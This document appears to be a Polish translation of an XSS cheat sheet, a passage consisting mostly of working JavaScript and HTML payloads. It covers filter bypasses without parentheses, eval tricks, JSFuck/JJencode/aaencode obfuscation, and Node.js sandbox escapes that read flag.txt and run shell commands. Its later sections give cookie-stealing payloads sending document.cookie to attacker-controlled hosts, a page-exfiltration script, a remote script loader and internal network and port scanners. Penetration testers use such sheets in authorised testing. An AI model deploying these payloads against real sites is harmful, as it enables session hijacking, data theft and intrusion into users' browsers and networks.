window.onerror=eval;throw"=alert\x281\x29";
onerror=eval;throw"=alert\x281\x29";
<img src=x onerror="window.onerror=eval;throw'=alert\x281\x29'">
{onerror=eval}throw"=alert(1)" //No ";"
onerror=alert //No ";" using new line
throw 1337
// Error handler + Special unicode separators
eval("onerror=\u2028alert\u2029throw 1337");
// Error handler + Comma separator
// The comma separator goes through the list and returns only the last element
var a = (1,2,3,4,5,6) // a = 6
throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alert
throw onerror=alert,1,1,1,1,1,1337
// optional exception variables inside a catch clause.
try{throw onerror=alert}catch{throw 1}
// Has instance symbol
'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}
'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}
// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.
- https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md
- https://portswigger.net/research/javascript-without-parentheses-using-dommatrix
Dowolne wywołanie funkcji (alert)
//Eval like functions
eval('ale'+'rt(1)')
setTimeout('ale'+'rt(2)');
setInterval('ale'+'rt(10)');
Function('ale'+'rt(10)')``;
[].constructor.constructor("alert(document.domain)")``
[]["constructor"]["constructor"]`$${alert()}```
import('data:text/javascript,alert(1)')
//General function executions
`` //Can be use as parenthesis
alert`document.cookie`
alert(document['cookie'])
with(document)alert(cookie)
(alert)(1)
(alert(1))in"."
a=alert,a(1)
[1].find(alert)
window['alert'](0)
parent['alert'](1)
self['alert'](2)
top['alert'](3)
this['alert'](4)
frames['alert'](5)
content['alert'](6)
[7].map(alert)
[8].find(alert)
[9].every(alert)
[10].filter(alert)
[11].findIndex(alert)
[12].forEach(alert);
top[/al/.source+/ert/.source](1)
top[8680439..toString(30)](1)
Function("ale"+"rt(1)")();
new Function`al\ert\`6\``;
Set.constructor('ale'+'rt(13)')();
Set.constructor`al\x65rt\x2814\x29```;
$='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y)
x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y))
this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array)
globalThis[`al`+/ert/.source]`1`
this[`al`+/ert/.source]`1`
[alert][0].call(this,1)
window['a'+'l'+'e'+'r'+'t']()
window['a'+'l'+'e'+'r'+'t'].call(this,1)
top['a'+'l'+'e'+'r'+'t'].apply(this,[1])
(1,2,3,4,5,6,7,8,alert)(1)
x=alert,x(1)
[1].find(alert)
top["al"+"ert"](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
al\u0065rt`1`
top['al\145rt'](1)
top['al\x65rt'](1)
top[8680439..toString(30)](1)
<svg><animate onbegin=alert() attributeName=x></svg>
Luki w DOM
Istnieje kod JS, który używa niebezpiecznych danych kontrolowanych przez atakującego, takich jak location.href
. Atakujący mógłby to wykorzystać do wykonania arbitralnego kodu JS.
Ze względu na rozszerzenie wyjaśnienia luk w DOM przeniesiono na tę stronę:
{% content-ref url="dom-xss.md" %} dom-xss.md {% endcontent-ref %}
Tam znajdziesz szczegółowe wyjaśnienie, czym są luki w DOM, jak są wywoływane i jak je wykorzystać.
Nie zapomnij również, że na końcu wspomnianego posta znajdziesz wyjaśnienie na temat ataków clobbering w DOM.
Inne metody bypassowania
Znormalizowany Unicode
Możesz sprawdzić, czy odbijane wartości są znormalizowane pod kątem Unicode na serwerze (lub po stronie klienta) i wykorzystać tę funkcjonalność do obejścia zabezpieczeń. Znajdź przykład tutaj.
Bypass flagi PHP FILTER_VALIDATE_EMAIL
"><svg/onload=confirm(1)>"@x.y
Pominięcie w Ruby-On-Rails
Ze względu na masowe przypisanie w RoR, cytaty są wstawiane w HTML, a następnie ograniczenie cudzysłowów jest omijane, a dodatkowe pola (onfocus) mogą być dodane wewnątrz tagu.
Przykład formularza (z tego raportu), jeśli wyślesz ładunek:
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
Para "Klucz","Wartość" zostanie odesłana w ten sposób:
{" onfocus=javascript:alert('xss') autofocus a"=>"a"}
Specjalne kombinacje
<iframe/src="data:text/html,<svg onload=alert(1)>">
<input type=image src onerror="prompt(1)">
<svg onload=alert(1)//
<img src="/" =_=" title="onerror='prompt(1)'">
<img src='1' onerror='alert(0)' <
<script x> alert(1) </script 1=2
<script x>alert('XSS')<script y>
<svg/onload=location=`javas`+`cript:ale`+`rt%2`+`81%2`+`9`;//
<svg////////onload=alert(1)>
<svg id=x;onload=alert(1)>
<svg id=`x`onload=alert(1)>
<img src=1 alt=al lang=ert onerror=top[alt+lang](0)>
<script>$=1,alert($)</script>
<script ~~~>confirm(1)</script ~~~>
<script>$=1,\u0061lert($)</script>
<</script/script><script>eval('\\u'+'0061'+'lert(1)')//</script>
<</script/script><script ~~~>\u0061lert(1)</script ~~~>
</style></scRipt><scRipt>alert(1)</scRipt>
<img src=x:prompt(eval(alt)) onerror=eval(src) alt=String.fromCharCode(88,83,83)>
<svg><x><script>alert('1')</x>
<iframe src=""/srcdoc='<svg onload=alert(1)>'>
<svg><animate onbegin=alert() attributeName=x></svg>
<img/id="alert('XSS')\"/alt=\"/\"src=\"/\"onerror=eval(id)>
<img src=1 onerror="s=document.createElement('script');s.src='http://xss.rocks/xss.js';document.body.appendChild(s);">
(function(x){this[x+`ert`](1)})`al`
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
document['default'+'View'][`\u0061lert`](3)
XSS z wstrzykiwaniem nagłówka w odpowiedzi 302
Jeśli odkryjesz, że możesz wstrzyknąć nagłówki w odpowiedzi przekierowania 302, możesz spróbować spowodować wykonanie dowolnego kodu JavaScript przez przeglądarkę. Jest to niełatwe, ponieważ nowoczesne przeglądarki nie interpretują treści odpowiedzi HTTP, jeśli kod stanu odpowiedzi HTTP to 302, więc sam payload cross-site scripting jest bezużyteczny.
W tym raporcie i tym możesz przeczytać, jak przetestować kilka protokołów w nagłówku Lokalizacja i sprawdzić, czy którykolwiek z nich pozwala przeglądarce na inspekcję i wykonanie payloadu XSS w treści.
Znane protokoły: mailto://
, //x:1/
, ws://
, wss://
, pusty nagłówek Lokalizacja, resource://
.
Tylko Litery, Cyfry i Kropki
Jeśli jesteś w stanie wskazać wywołanie zwrotne, które ma zostać wykonane przez JavaScript ograniczone do tych znaków. Przeczytaj tę sekcję tego posta, aby dowiedzieć się, jak wykorzystać to zachowanie.
Poprawne typy zawartości <script>
do XSS
(Z tutaj) Jeśli spróbujesz załadować skrypt z typem zawartości takim jak application/octet-stream
, Chrome wyświetli następujący błąd:
Refused to execute script from ‘https://uploader.c.hc.lc/uploads/xxx' because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.
Jedynymi typami zawartości, które pozwolą Chrome na uruchomienie załadowanego skryptu, są te zawarte w stałej kSupportedJavascriptTypes
z https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc
const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript",
"application/javascript",
"application/x-ecmascript",
"application/x-javascript",
"text/ecmascript",
"text/javascript",
"text/javascript1.0",
"text/javascript1.1",
"text/javascript1.2",
"text/javascript1.3",
"text/javascript1.4",
"text/javascript1.5",
"text/jscript",
"text/livescript",
"text/x-ecmascript",
"text/x-javascript",
};
Typy skryptów do XSS
(Z tutaj) Więc, które typy mogą być wskazane do załadowania skryptu?
<script type="???"></script>
Odpowiedź to:
- moduł (domyślny, nie ma nic do wyjaśnienia)
- webbundle: Web Bundles to funkcja, która pozwala spakować wiele danych (HTML, CSS, JS...) w plik
.wbn
.
<script type="webbundle">
{
"source": "https://example.com/dir/subresources.wbn",
"resources": ["https://example.com/dir/a.js", "https://example.com/dir/b.js", "https://example.com/dir/c.png"]
}
</script>
The resources are loaded from the source .wbn, not accessed via HTTP
- importmap: Pozwala poprawić składnię importu
<script type="importmap">
{
"imports": {
"moment": "/node_modules/moment/src/moment.js",
"lodash": "/node_modules/lodash-es/lodash.js"
}
}
</script>
<!-- With importmap you can do the following -->
<script>
import moment from "moment";
import { partition } from "lodash";
</script>
To zachowanie zostało wykorzystane w tym rozwiązaniu do przemapowania biblioteki na eval w celu nadużycia, które może wywołać XSS.
- speculationrules: Ta funkcja służy głównie do rozwiązania pewnych problemów spowodowanych wstępnym renderowaniem. Działa to w ten sposób:
<script type="speculationrules">
{
"prerender": [
{"source": "list",
"urls": ["/page/2"],
"score": 0.5},
{"source": "document",
"if_href_matches": ["https://*.wikipedia.org/**"],
"if_not_selector_matches": [".restricted-section *"],
"score": 0.1}
]
}
</script>
Typy zawartości sieciowej do XSS
(Z tutaj) Następujące typy zawartości mogą wykonać XSS we wszystkich przeglądarkach:
- text/html
- application/xhtml+xml
- application/xml
- text/xml
- image/svg+xml
- text/plain (?? nie ma na liście, ale chyba widziałem to w CTF)
- application/rss+xml (wyłączone)
- application/atom+xml (wyłączone)
W innych przeglądarkach inne Typy zawartości
mogą być używane do wykonania arbitralnego JS, sprawdź: https://github.com/BlackFan/content-type-research/blob/master/XSS.md
Typ zawartości xml
Jeśli strona zwraca typ zawartości text/xml, można wskazać przestrzeń nazw i wykonać arbitralny JS:
<xml>
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
</xml>
<!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->
Specjalne wzorce zastępowania
Kiedy używane jest coś w stylu "some {{template}} data".replace("{{template}}", <user_input>)
, atakujący może użyć specjalnych zastąpień ciągów, aby spróbować ominąć pewne zabezpieczenia: "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))
Na przykład w tym opisie, zostało to użyte do wydobycia ciągu JSON wewnątrz skryptu i wykonania dowolnego kodu.
Chrome Cache do XSS
{% content-ref url="chrome-cache-to-xss.md" %} chrome-cache-to-xss.md {% endcontent-ref %}
Ucieczka z więzienia XS Jails
Jeśli masz do dyspozycji tylko ograniczony zestaw znaków do użycia, sprawdź te inne ważne rozwiązania problemów z XSJail:
// eval + unescape + regex
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/))
// use of with
with(console)log(123)
with(/console.log(1)/)with(this)with(constructor)constructor(source)()
// Just replace console.log(1) to the real code, the code we want to run is:
//return String(process.mainModule.require('fs').readFileSync('flag.txt'))
with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt')))
with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n)))
with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n)))
//Final solution
with(
/with(String)
with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)
with(mainModule)
with(require(k))
return(String(readFileSync(n)))
/)
with(this)
with(constructor)
constructor(source)()
// For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
Jeśli wszystko jest niezdefiniowane przed wykonaniem niezaufanego kodu (tak jak w tym opisie), można generować przydatne obiekty "z niczego", aby nadużyć wykonania dowolnego niezaufanego kodu:
- Korzystając z import()
// although import "fs" doesn’t work, import('fs') does.
import("fs").then(m=>console.log(m.readFileSync("/flag.txt", "utf8")))
- Dostęp do
require
pośrednio
Zgodnie z tym moduły są owinięte przez Node.js w funkcję, tak jak tutaj:
(function (exports, require, module, __filename, __dirname) {
// our actual module code
});
Dlatego jeśli z tego modułu możemy wywołać inną funkcję, można użyć arguments.callee.caller.arguments[1]
z tej funkcji, aby uzyskać dostęp do require
:
{% code overflow="wrap" %}
(function(){return arguments.callee.caller.arguments[1]("fs").readFileSync("/flag.txt", "utf8")})()
W podobny sposób do poprzedniego przykładu, można wykorzystać obsługę błędów do uzyskania dostępu do opakowania modułu i uzyskania funkcji require
:
try {
null.f()
} catch (e) {
TypeError = e.constructor
}
Object = {}.constructor
String = ''.constructor
Error = TypeError.prototype.__proto__.constructor
function CustomError() {
const oldStackTrace = Error.prepareStackTrace
try {
Error.prepareStackTrace = (err, structuredStackTrace) => structuredStackTrace
Error.captureStackTrace(this)
this.stack
} finally {
Error.prepareStackTrace = oldStackTrace
}
}
function trigger() {
const err = new CustomError()
console.log(err.stack[0])
for (const x of err.stack) {
// use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter
const fn = x.getFunction()
console.log(String(fn).slice(0, 200))
console.log(fn?.arguments)
console.log('='.repeat(40))
if ((args = fn?.arguments)?.length > 0) {
req = args[1]
console.log(req('child_process').execSync('id').toString())
}
}
}
trigger()
Obfuskacja i Zaawansowane Bypassowanie
- Różne obfuskacje na jednej stronie: https://aem1k.com/aurebesh.js/
- https://github.com/aemkei/katakana.js
- https://ooze.ninja/javascript/poisonjs
- https://javascriptobfuscator.herokuapp.com/
- https://skalman.github.io/UglifyJS-online/
- http://www.jsfuck.com/
- Bardziej zaawansowany JSFuck: https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce
- http://utf-8.jp/public/jjencode.html
- https://utf-8.jp/public/aaencode.html
- https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses
//Katana
<script>([,ウ,,,,ア]=[]+{},[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')()</script>
//JJencode
<script>$=~[];$={___:++$,$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$:({}+"")[$],$_$:($[$]+"")[$],_$:++$,$_:(!""+"")[$],$__:++$,$_$:++$,$__:({}+"")[$],$_:++$,$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$=($.$+"")[$.__$])+((!$)+"")[$._$]+($.__=$.$_[$.$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$=$.$+(!""+"")[$._$]+$.__+$._+$.$+$.$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$+"\""+$.$_$_+(![]+"")[$._$_]+$.$_+"\\"+$.__$+$.$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script>
//JSFuck
<script>(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()</script>
//aaencode
゚ω゚ノ= /`m´)ノ ~┻━┻ //*´∇`*/ ['_']; o=(゚ー゚) =_=3; c=(゚Θ゚) =(゚ー゚)-(゚ー゚); (゚Д゚) =(゚Θ゚)= (o^_^o)/ (o^_^o);(゚Д゚)={゚Θ゚: '_' ,゚ω゚ノ : ((゚ω゚ノ==3) +'_') [゚Θ゚] ,゚ー゚ノ :(゚ω゚ノ+ '_')[o^_^o -(゚Θ゚)] ,゚Д゚ノ:((゚ー゚==3) +'_')[゚ー゚] }; (゚Д゚) [゚Θ゚] =((゚ω゚ノ==3) +'_') [c^_^o];(゚Д゚) ['c'] = ((゚Д゚)+'_') [ (゚ー゚)+(゚ー゚)-(゚Θ゚) ];(゚Д゚) ['o'] = ((゚Д゚)+'_') [゚Θ゚];(゚o゚)=(゚Д゚) ['c']+(゚Д゚) ['o']+(゚ω゚ノ +'_')[゚Θ゚]+ ((゚ω゚ノ==3) +'_') [゚ー゚] + ((゚Д゚) +'_') [(゚ー゚)+(゚ー゚)]+ ((゚ー゚==3) +'_') [゚Θ゚]+((゚ー゚==3) +'_') [(゚ー゚) - (゚Θ゚)]+(゚Д゚) ['c']+((゚Д゚)+'_') [(゚ー゚)+(゚ー゚)]+ (゚Д゚) ['o']+((゚ー゚==3) +'_') [゚Θ゚];(゚Д゚) ['_'] =(o^_^o) [゚o゚] [゚o゚];(゚ε゚)=((゚ー゚==3) +'_') [゚Θ゚]+ (゚Д゚) .゚Д゚ノ+((゚Д゚)+'_') [(゚ー゚) + (゚ー゚)]+((゚ー゚==3) +'_') [o^_^o -゚Θ゚]+((゚ー゚==3) +'_') [゚Θ゚]+ (゚ω゚ノ +'_') [゚Θ゚]; (゚ー゚)+=(゚Θ゚); (゚Д゚)[゚ε゚]='\\'; (゚Д゚).゚Θ゚ノ=(゚Д゚+ ゚ー゚)[o^_^o -(゚Θ゚)];(o゚ー゚o)=(゚ω゚ノ +'_')[c^_^o];(゚Д゚) [゚o゚]='\"';(゚Д゚) ['_'] ( (゚Д゚) ['_'] (゚ε゚+(゚Д゚)[゚o゚]+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚o゚]) (゚Θ゚)) ('_');
// It's also possible to execute JS code only with the chars: []`+!${}
Powszechne ładunki XSS
Kilka ładunków w 1
{% content-ref url="steal-info-js.md" %} steal-info-js.md {% endcontent-ref %}
Pobierz ciasteczka
<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
<script>new Image().src="http://<IP>/?c="+encodeURI(document.cookie);</script>
<script>new Audio().src="http://<IP>/?c="+escape(document.cookie);</script>
<script>location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.write('<img src="http://<YOUR_SERVER_IP>?c='+document.cookie+'" />')</script>
<script>window.location.assign('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['assign']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['href']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>document.location=["http://<YOUR_SERVER_IP>?c",document.cookie].join()</script>
<script>var i=new Image();i.src="http://<YOUR_SERVER_IP>/?c="+document.cookie</script>
<script>window.location="https://<SERVER_IP>/?c=".concat(document.cookie)</script>
<script>var xhttp=new XMLHttpRequest();xhttp.open("GET", "http://<SERVER_IP>/?c="%2Bdocument.cookie, true);xhttp.send();</script>
<script>eval(atob('ZG9jdW1lbnQud3JpdGUoIjxpbWcgc3JjPSdodHRwczovLzxTRVJWRVJfSVA+P2M9IisgZG9jdW1lbnQuY29va2llICsiJyAvPiIp'));</script>
<script>fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net', {method: 'POST', mode: 'no-cors', body:document.cookie});</script>
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
{% hint style="info" %} Nie będziesz mógł uzyskać dostępu do plików cookie za pomocą JavaScript, jeśli flaga HTTPOnly jest ustawiona w pliku cookie. Ale tutaj masz kilka sposobów na obejście tej ochrony, jeśli masz wystarczająco dużo szczęścia. {% endhint %}
Ukradnij zawartość strony
var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8";
var attacker = "http://10.10.14.8/exfil";
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
}
}
xhr.open('GET', url, true);
xhr.send(null);
Znajdź wewnętrzne adresy IP
<script>
var q = []
var collaboratorURL = 'http://5ntrut4mpce548i2yppn9jk1fsli97.burpcollaborator.net';
var wait = 2000
var n_threads = 51
// Prepare the fetchUrl functions to access all the possible
for(i=1;i<=255;i++){
q.push(
function(url){
return function(){
fetchUrl(url, wait);
}
}('http://192.168.0.'+i+':8080'));
}
// Launch n_threads threads that are going to be calling fetchUrl until there is no more functions in q
for(i=1; i<=n_threads; i++){
if(q.length) q.shift()();
}
function fetchUrl(url, wait){
console.log(url)
var controller = new AbortController(), signal = controller.signal;
fetch(url, {signal}).then(r=>r.text().then(text=>
{
location = collaboratorURL + '?ip='+url.replace(/^http:\/\//,'')+'&code='+encodeURIComponent(text)+'&'+Date.now()
}
))
.catch(e => {
if(!String(e).includes("The user aborted a request") && q.length) {
q.shift()();
}
});
setTimeout(x=>{
controller.abort();
if(q.length) {
q.shift()();
}
}, wait);
}
</script>
Skaner portów (pobieranie)
const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }
Skaner portów (websockets)
var ports = [80, 443, 445, 554, 3306, 3690, 1234];
for(var i=0; i<ports.length; i++) {
var s = new WebSocket("wss://192.168.1.1:" + ports[i]);
s.start = performance.now();
s.port = ports[i];
s.onerror = function() {
console.log("Port " + this.port + ": " + (performance.now() -this.start) + " ms");
};
s.onopen = function() {
console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms");
};
}
Krótkie czasy wskazują na port odpowiadający Dłuższe czasy wskazują brak odpowiedzi.
Sprawdź listę zablokowanych portów w Chrome tutaj oraz w Firefox tutaj.
Pole do wprowadzenia danych uwierzytelniających
